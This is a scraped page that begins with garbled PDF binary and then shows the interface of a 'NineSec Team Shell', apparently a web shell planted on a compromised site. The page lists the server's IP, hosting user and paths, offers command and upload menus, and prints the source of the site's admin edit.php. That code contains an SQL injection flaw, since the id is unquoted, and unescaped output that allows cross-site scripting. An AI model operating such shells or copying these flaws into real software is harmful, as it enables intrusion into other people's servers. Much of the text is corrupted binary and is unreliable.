%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.216.190
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u903744608/domains/designspoint.net/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u903744608/domains/designspoint.net/public_html/admin/edit.php
<?php
include('connection.php');

if (isset($_GET['id'])) {
    $category_id = mysqli_real_escape_string($conn, $_GET['id']);
    $result = $conn->query("SELECT * FROM production WHERE id = $category_id");

    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        $category_title = $row['title'];
        $filter_class = $row['filter_class'];
        $subCategory = $row['sub_category_services'];
        $is_production = $row['is_production']; 

    } else {
        echo "Category not found";
        exit();
    }
} else {
    echo "Category ID not provided";
    exit();
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST["update_category"])) {
        $new_title = mysqli_real_escape_string($conn, $_POST["title"]);
        $new_class_filter = mysqli_real_escape_string($conn, $_POST["filter_class"]);
        $newSubCategory = mysqli_real_escape_string($conn, $_POST["sub_category_services"]);
           $is_production = isset($_POST["is_production"]) ? mysqli_real_escape_string($conn, $_POST["is_production"]) : 0; 

        $update_sql = "UPDATE production SET title = '$new_title', filter_class ='$new_class_filter', sub_category_services ='$newSubCategory', is_production = '$is_production' WHERE id = $category_id";

        // $update_sql = "UPDATE production SET title = '$new_title',filter_class ='$new_class_filter',sub_category_services ='$newSubCategory' WHERE id = $category_id";
        if ($conn->query($update_sql) === TRUE) {

            header("Location: index.php");
            exit();
        } else {
            echo "Error updating category: " . $conn->error;
        }
    }
}
$conn->close();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Edit Category</title>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css">
</head>
<body>
<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-6">
            <div class="card">
                <div class="card-header">
                    <h3 class="card-title">Edit Category</h3>
                </div>
                <div class="card-body">
                    <form action="edit.php?id=<?php echo $category_id; ?>" method="post">

                         <div class="mb-3">
                            <label for="is_production" class="form-label">Is Production</label>
                            <select class="form-control" id="is_production" name="is_production">
                                <option value="0" <?php if ($is_production == 0) echo 'selected'; ?>>No</option>
                                <option value="1" <?php if ($is_production == 1) echo 'selected'; ?>>Is_Production</option>
                            </select>
                        </div>
                        <div class="mb-3">
                            <label for="title" class="form-label">Category<span style="color: red;">*</span></label>
                            <input type="text" class="form-control" id="title" name="title" required value="<?php echo $category_title; ?>">
                        </div>
                        <div class="mb-3">
                            <label for="filter_class" class="form-label">Filter Class<span style="color: red;">*</span></label>
                            <input type="text" class="form-control" id="filter_class" name="filter_class" required value="<?php echo $filter_class; ?>">
                        </div>
                        <div class="mb-3">
                            <label for="sub_category_services" class="form-label">Home Page Services(optional)</label>
                            <input type="text" class="form-control" id="sub_category_services" name="sub_category_services" value="<?php echo $subCategory; ?>">
                        </div>
                        <button type="submit" class="btn btn-primary" name="update_category">Update Category</button>
                        <button type="button" class="btn btn-danger" name='close' onclick="closeForm()" style="height:40px">Close</button>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
    function closeForm() {
        window.location.href = "index.php";
    }
</script>
</body>
</html>

NineSec Team - 2022